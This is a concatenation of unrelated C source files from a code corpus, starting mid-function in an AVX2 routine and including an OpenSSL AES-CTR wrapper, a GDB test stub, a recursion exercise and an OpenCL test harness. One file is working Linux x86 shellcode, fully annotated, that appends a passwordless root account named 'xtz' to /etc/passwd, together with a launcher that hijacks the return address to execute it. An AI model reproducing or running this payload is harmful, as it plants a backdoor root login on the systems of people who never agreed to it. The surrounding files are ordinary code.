_mm256_set1_epi16(4675)), 12); __m256i c_i16 = _mm256_srli_epi16(_mm256_mullo_epi16(c_c, _mm256_set1_epi16(11482)), 12); __m256i n_i16 = _mm256_srli_epi16(_mm256_mullo_epi16(n_c, _mm256_set1_epi16(9726)), 12); __m256i b_i16 = _mm256_and_si256(_mm256_add_epi16(b_c, _mm256_add_epi16( _mm256_srli_epi16(b_c, 1), _mm256_srli_epi16(b_c, 3))), _mm256_set1_epi16(15)); __m256i rc_i = _mm256_permute4x64_epi64(_mm256_packus_epi16(r_i16, c_i16), 0xd8); __m256i nb_i = _mm256_permute4x64_epi64(_mm256_packus_epi16(n_i16, b_i16), 0xd8); __m256i rc_v = _mm256_shuffle_epi8(rc_t, rc_i); __m256i nb_v = _mm256_shuffle_epi8(nb_t, nb_i); __m256i bad_v = _mm256_or_si256( _mm256_cmpeq_epi8(rc_v, _mm256_set1_epi8(-1)), _mm256_cmpeq_epi8(nb_v, _mm256_set1_epi8(-1)) ); __m256i rn_cb_1 = _mm256_unpacklo_epi8(rc_v, nb_v); __m256i rn_cb_2 = _mm256_unpackhi_epi8(rc_v, nb_v); rn_cb_1 = _mm256_maddubs_epi16(mul, rn_cb_1); rn_cb_2 = _mm256_maddubs_epi16(mul, rn_cb_2); if (_mm256_movemask_epi8(bad_v)) { return 0; } __m256i rn = _mm256_permute2x128_si256(rn_cb_1, rn_cb_2, 0x20); __m256i cb = _mm256_permute2x128_si256(rn_cb_1, rn_cb_2, 0x31); __m256i result = _mm256_add_epi16(_mm256_add_epi16(_mm256_slli_epi16(rn, 3), _mm256_slli_epi16(rn, 1)), cb); result = _mm256_or_si256(result, sign); result = _mm256_shuffle_epi8(result, r_swizzle); _mm256_storeu_si256((__m256i*)value_out, result); value_out += 32; } return 1; } #endif
the_stack_data/43887739.c
/* $OpenBSD$ */ /* ==================================================================== * Copyright (c) 1998-2002 The OpenSSL Project. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materials provided with the * distribution. * * 3. All advertising materials mentioning features or use of this * software must display the following acknowledgment: * "This product includes software developed by the OpenSSL Project * for use in the OpenSSL Toolkit. (http://www.openssl.org/)" * * 4. The names "OpenSSL Toolkit" and "OpenSSL Project" must not be used to * endorse or promote products derived from this software without * prior written permission. For written permission, please contact * [email protected]. * * 5. Products derived from this software may not be called "OpenSSL" * nor may "OpenSSL" appear in their names without prior written * permission of the OpenSSL Project. * * 6. Redistributions of any form whatsoever must retain the following * acknowledgment: * "This product includes software developed by the OpenSSL Project * for use in the OpenSSL Toolkit (http://www.openssl.org/)" * * THIS SOFTWARE IS PROVIDED BY THE OpenSSL PROJECT ``AS IS'' AND ANY * EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OpenSSL PROJECT OR * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED * OF THE POSSIBILITY OF SUCH DAMAGE. * ==================================================================== * */ #include <openssl/aes.h> #include <openssl/modes.h> void AES_ctr128_encrypt(const unsigned char *in, unsigned char *out, size_t length, const AES_KEY *key, unsigned char ivec[AES_BLOCK_SIZE], unsigned char ecount_buf[AES_BLOCK_SIZE], unsigned int *num) { CRYPTO_ctr128_encrypt(in, out, length, key, ivec, ecount_buf, num, (block128_f)AES_encrypt); }
the_stack_data/52010.c
/* This testcase is part of GDB, the GNU debugger. Copyright 2011-2014 Free Software Foundation, Inc. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. */ void stabs_function (void) /* marker-here */ { }
the_stack_data/156393392.c
#include <stdio.h> void funA(char num); void funB(char num); int main(void) { funA('A'); return 0; } void funA(char num) { if (num < 'Z') funB(num); printf("%c ,", num); } void funB(char num) { funA(++num); }
the_stack_data/40761912.c
/* * (linux/x86) adds user 'xtz' without password to /etc/passwd - 59 bytes * - Itzik Kotler <[email protected]> */ char shellcode[] = "\x6a\x05" // push $0x5 // // <_exit>: // "\x58" // pop %eax "\x99" // cltd "\x31\xc9" // xor %ecx,%ecx "\x66\xb9\x01\x04" // mov $0x401,%cx "\x52" // push %edx "\x68\x73\x73\x77\x64" // push $0x64777373 "\x68\x63\x2f\x70\x61" // push $0x61702f63 "\x68\x2f\x2f\x65\x74" // push $0x74652f2f "\x89\xe3" // mov %esp,%ebx "\xcd\x80" // int $0x80 "\x68\x3a\x3a\x3a\x0a" // push $0xa3a3a3a "\x68\x3a\x30\x3a\x30" // push $0x303a303a "\x68\x78\x74\x7a\x3a" // push $0x3a7a7478 "\x89\xc3" // mov %eax,%ebx "\xb0\x04" // mov $0x4,%al "\x89\xe1" // mov %esp,%ecx "\xb2\x0c" // mov $0xc,%dl "\xcd\x80" // int $0x80 "\x6a\x01" // push $0x1 "\xeb\xc7"; // jmp <_exit> int main(int argc, char **argv) { int *ret; ret = (int *)&ret + 2; (*ret) = (int) shellcode; }
the_stack_data/1080314.c
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <CL/cl.h> unsigned char *read_buffer(char *file_name, size_t *size_ptr) { FILE *f; unsigned char *buf; size_t size; /* Open file */ f = fopen(file_name, "rb"); if (!f) return NULL; /* Obtain file size */ fseek(f, 0, SEEK_END); size = ftell(f); fseek(f, 0, SEEK_SET); /* Allocate and read buffer */ buf = malloc(size + 1); fread(buf, 1, size, f); buf[size] = '\0'; /* Return size of buffer */ if (size_ptr) *size_ptr = size; /* Return buffer */ return buf; } void write_buffer(char *file_name, const char *buffer, size_t buffer_size) { FILE *f; /* Open file */ f = fopen(file_name, "w+"); /* Write buffer */ if(buffer) fwrite(buffer, 1, buffer_size, f); /* Close file */ fclose(f); } int main(int argc, char const *argv[]) { /* Get platform */ cl_platform_id platform; cl_uint num_platforms; cl_int ret = clGetPlatformIDs(1, &platform, &num_platforms); if (ret != CL_SUCCESS) { printf("error: call to 'clGetPlatformIDs' failed\n"); exit(1); } printf("Number of platforms: %d\n", num_platforms); printf("platform=%p\n", platform); /* Get platform name */ char platform_name[100]; ret = clGetPlatformInfo(platform, CL_PLATFORM_NAME, sizeof(platform_name), platform_name, NULL); if (ret != CL_SUCCESS) { printf("error: call to 'clGetPlatformInfo' failed\n"); exit(1); } printf("platform.name='%s'\n\n", platform_name); /* Get device */ cl_device_id device; cl_uint num_devices; ret = clGetDeviceIDs(platform, CL_DEVICE_TYPE_GPU, 1, &device, &num_devices); if (ret != CL_SUCCESS) { printf("error: call to 'clGetDeviceIDs' failed\n"); exit(1); } printf("Number of devices: %d\n", num_devices); printf("device=%p\n", device); /* Get device name */ char device_name[100]; ret = clGetDeviceInfo(device, CL_DEVICE_NAME, sizeof(device_name), device_name, NULL); if (ret != CL_SUCCESS) { printf("error: call to 'clGetDeviceInfo' failed\n"); exit(1); } printf("device.name='%s'\n", device_name); printf("\n"); /* Create a Context Object */ cl_context context; context = clCreateContext(NULL, 1, &device, NULL, NULL, &ret); if (ret != CL_SUCCESS) { printf("error: call to 'clCreateContext' failed\n"); exit(1); } printf("context=%p\n", context); /* Create a Command Queue Object*/ cl_command_queue command_queue; command_queue = clCreateCommandQueue(context, device, 0, &ret); if (ret != CL_SUCCESS) { printf("error: call to 'clCreateCommandQueue' failed\n"); exit(1); } printf("command_queue=%p\n", command_queue); printf("\n"); /* Program source */ unsigned char *source_code; size_t source_length; /* Read program from 'mad_hi_int16int16int16.cl' */ source_code = read_buffer("mad_hi_int16int16int16.cl", &source_length); /* Create a program */ cl_program program; program = clCreateProgramWithSource(context, 1, (const char **)&source_code, &source_length, &ret); if (ret != CL_SUCCESS) { printf("error: call to 'clCreateProgramWithSource' failed\n"); exit(1); } printf("program=%p\n", program); /* Build program */ ret = clBuildProgram(program, 1, &device, NULL, NULL, NULL); if (ret != CL_SUCCESS ) { size_t size; char *log; /* Get log size */ clGetProgramBuildInfo(program, device, CL_PROGRAM_BUILD_LOG,0, NULL, &size); /* Allocate log and print */ log = malloc(size); clGetProgramBuildInfo(program, device, CL_PROGRAM_BUILD_LOG,size, log, NULL); printf("error: call to 'clBuildProgram' failed:\n%s\n", log); /* Free log and exit */ free(log); exit(1); } printf("program built\n"); printf("\n"); /* Create a Kernel Object */ cl_kernel kernel; kernel = clCreateKernel(program, "mad_hi_int16int16int16", &ret); if (ret != CL_SUCCESS) { printf("error: call to 'clCreateKernel' failed\n"); exit(1); } /* Create and allocate host buffers */ size_t num_elem = 10; /* Create and init host side src buffer 0 */ cl_int16 *src_0_host_buffer; src_0_host_buffer = malloc(num_elem * sizeof(cl_int16)); for (int i = 0; i < num_elem; i++) src_0_host_buffer[i] = (cl_int16){{2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2}}; /* Create and init device side src buffer 0 */ cl_mem src_0_device_buffer; src_0_device_buffer = clCreateBuffer(context, CL_MEM_READ_ONLY, num_elem * sizeof(cl_int16), NULL, &ret); if (ret != CL_SUCCESS) { printf("error: could not create source buffer\n"); exit(1); } ret = clEnqueueWriteBuffer(command_queue, src_0_device_buffer, CL_TRUE, 0, num_elem * sizeof(cl_int16), src_0_host_buffer, 0, NULL, NULL); if (ret != CL_SUCCESS) { printf("error: call to 'clEnqueueWriteBuffer' failed\n"); exit(1); } /* Create and init host side src buffer 1 */ cl_int16 *src_1_host_buffer; src_1_host_buffer = malloc(num_elem * sizeof(cl_int16)); for (int i = 0; i < num_elem; i++) src_1_host_buffer[i] = (cl_int16){{2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2}}; /* Create and init device side src buffer 1 */ cl_mem src_1_device_buffer; src_1_device_buffer = clCreateBuffer(context, CL_MEM_READ_ONLY, num_elem * sizeof(cl_int16), NULL, &ret); if (ret != CL_SUCCESS) { printf("error: could not create source buffer\n"); exit(1); } ret = clEnqueueWriteBuffer(command_queue, src_1_device_buffer, CL_TRUE, 0, num_elem * sizeof(cl_int16), src_1_host_buffer, 0, NULL, NULL); if (ret != CL_SUCCESS) { printf("error: call to 'clEnqueueWriteBuffer' failed\n"); exit(1); } /* Create and init host side src buffer 2 */ cl_int16 *src_2_host_buffer; src_2_host_buffer = malloc(num_elem * sizeof(cl_int16)); for (int i = 0; i < num_elem; i++) src_2_host_buffer[i] = (cl_int16){{2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2}}; /* Create and init device side src buffer 2 */ cl_mem src_2_device_buffer; src_2_device_buffer = clCreateBuffer(context, CL_MEM_READ_ONLY, num_elem * sizeof(cl_int16), NULL, &ret); if (ret != CL_SUCCESS) { printf("error: could not create source buffer\n"); exit(1); } ret = clEnqueueWriteBuffer(command_queue, src_2_device_buffer, CL_TRUE, 0, num_elem * sizeof(cl_int16), src_2_host_buffer, 0, NULL, NULL); if (ret != CL_SUCCESS) { printf("error: call to 'clEnqueueWriteBuffer' failed\n"); exit(1); } /* Create host dst buffer */ cl_int16 *dst_host_buffer; dst_host_buffer = malloc(num_elem * sizeof(cl_int16)); memset((void *)dst_host_buffer, 1, num_elem * sizeof(cl_int16)); /* Create device dst buffer */ cl_mem dst_device_buffer; dst_device_buffer = clCreateBuffer(context, CL_MEM_WRITE_ONLY, num_elem *sizeof(cl_int16), NULL, &ret); if (ret != CL_SUCCESS) { printf("error: could not create dst buffer\n"); exit(1); } /* Set kernel arguments */ ret = CL_SUCCESS; ret |= clSetKernelArg(kernel, 0, sizeof(cl_mem), &src_0_device_buffer); ret |= clSetKernelArg(kernel, 1, sizeof(cl_mem), &src_1_device_buffer); ret |= clSetKernelArg(kernel, 2, sizeof(cl_mem), &src_2_device_buffer); ret |= clSetKernelArg(kernel, 3, sizeof(cl_mem), &dst_device_buffer); if (ret != CL_SUCCESS) { printf("error: call to 'clSetKernelArg' failed\n"); exit(1); } /* Launch the kernel */ size_t global_work_size = num_elem; size_t local_work_size = num_elem; ret = clEnqueueNDRangeKernel(command_queue, kernel, 1, NULL, &global_work_size, &local_work_size, 0, NULL, NULL); if (ret != CL_SUCCESS) { printf("error: call to 'clEnqueueNDRangeKernel' failed\n"); exit(1); } /* Wait for it to finish */ clFinish(command_queue); /* Read results from GPU */ ret = clEnqueueReadBuffer(command_queue, dst_device_buffer, CL_TRUE,0, num_elem * sizeof(cl_int16), dst_host_buffer, 0, NULL, NULL); if (ret != CL_SUCCESS) { printf("error: call to 'clEnqueueReadBuffer' failed\n"); exit(1); } /* Dump dst buffer to file */ char dump_file[100]; sprintf((char *)&dump_file, "%s.result", argv[0]); write_buffer(dump_file, (const char *)dst_host_buffer, num_elem * sizeof(cl_int16)); printf("Result dumped to %s\n", dump_file); /* Free host dst buffer */ free(dst_host_buffer); /* Free device dst buffer */ ret = clReleaseMemObject(dst_device_buffer); if (ret != CL_SUCCESS) { printf("error: call to 'clReleaseMemObject' failed\n"); exit(1); } /* Free host side src buffer 0 */ free(src_0_host_buffer); /* Free device side src buffer 0 */ ret = clReleaseMemObject(src_0_device_buffer); if (ret != CL_SUCCESS) { printf("error: call to 'clReleaseMemObject' failed\n"); exit(1); } /* Free host side src buffer 1 */ free(src_1_host_buffer); /* Free device side src buffer 1 */ ret = clReleaseMemObject(src_1_device_buffer); if (ret != CL_SUCCESS) { printf("error: call to 'clReleaseMemObject' failed\n"); exit(1); } /* Free host side src buffer 2 */ free(src_2_host_buffer); /* Free device side src buffer 2 */ ret = clReleaseMemObject(src_2_device_buffer); if (ret != CL_SUCCESS) { printf("error: call to 'clReleaseMemObject' failed\n"); exit(1); } /* Release kernel */ ret = clReleaseKernel(kernel); if (ret != CL_SUCCESS) { printf("error: call to 'clReleaseKernel' failed\n"); exit(1); } /* Release program */ ret = clReleaseProgram(program); if (ret != CL_SUCCESS) { printf("error: call to 'clReleaseProgram' failed\n"); exit(1); } /* Release command queue */ ret = clReleaseCommandQueue(command_queue); if (ret != CL_SUCCESS) { printf("error: call to 'clReleaseCommandQueue' failed\n"); exit(1); } /* Release context */ ret = clReleaseContext(context); if (ret != CL_SUCCESS) { printf("error: call to 'clReleaseContext' failed\n"); exit(1); } return 0; }